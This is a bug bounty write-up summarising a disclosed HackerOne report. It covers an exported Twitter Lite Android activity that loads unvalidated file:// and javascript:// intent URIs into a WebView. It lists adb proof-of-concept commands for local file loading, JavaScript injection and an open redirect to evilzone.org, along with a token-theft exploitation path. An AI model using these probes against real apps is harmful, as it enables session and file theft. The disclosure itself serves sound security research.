# Twitter lite(Android): Vulnerable to local file steal, Javascript injection, Open redirect

Exported TwitterLiteActivity in Twitter Lite Android accepts unvalidated file:// and javascript:// intent URIs, enabling local file theft, JS injection, and open redirect.

- Payout: hidden
- Severity: critical
- Program: X / xAI
- Found by: rahulkankrale
- Disclosed: 2019-04-29
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/499348
- Library page: https://bugbountylibrary.com/r/h1%3A499348
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:critical technique:source-review vuln:access-control vuln:open-redirect vuln:xss

**Target:** Android exported activity (com.twitter.android.lite.TwitterLiteActivity)
**Root cause:** TwitterLiteActivity is exported and passes intent data URIs to a WebView without validating scheme, allowing file:// and javascript:// URIs.
**Steps:**
1. Launch activity with file URI: `adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "file:///sdcard/BugBounty/1.html"`
2. Launch with JS injection: `adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "javascript://example.com%0A alert(1);"`
3. Launch with redirect: `adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "http://evilzone.org"`
**Exploitation:** A malicious installed app sends an intent to the exported activity with a file:// or javascript:// URI, causing the WebView to load local files or execute attacker JS in the Twitter origin context, enabling token/file theft.
**Escalation:** JS injection in WebView context could lead to UXSS and session token theft.
**Insight:** Enumerate exported activities in Android apps and test whether intent data URIs reach a WebView without scheme allowlisting; file:// and javascript:// are the high-value probes.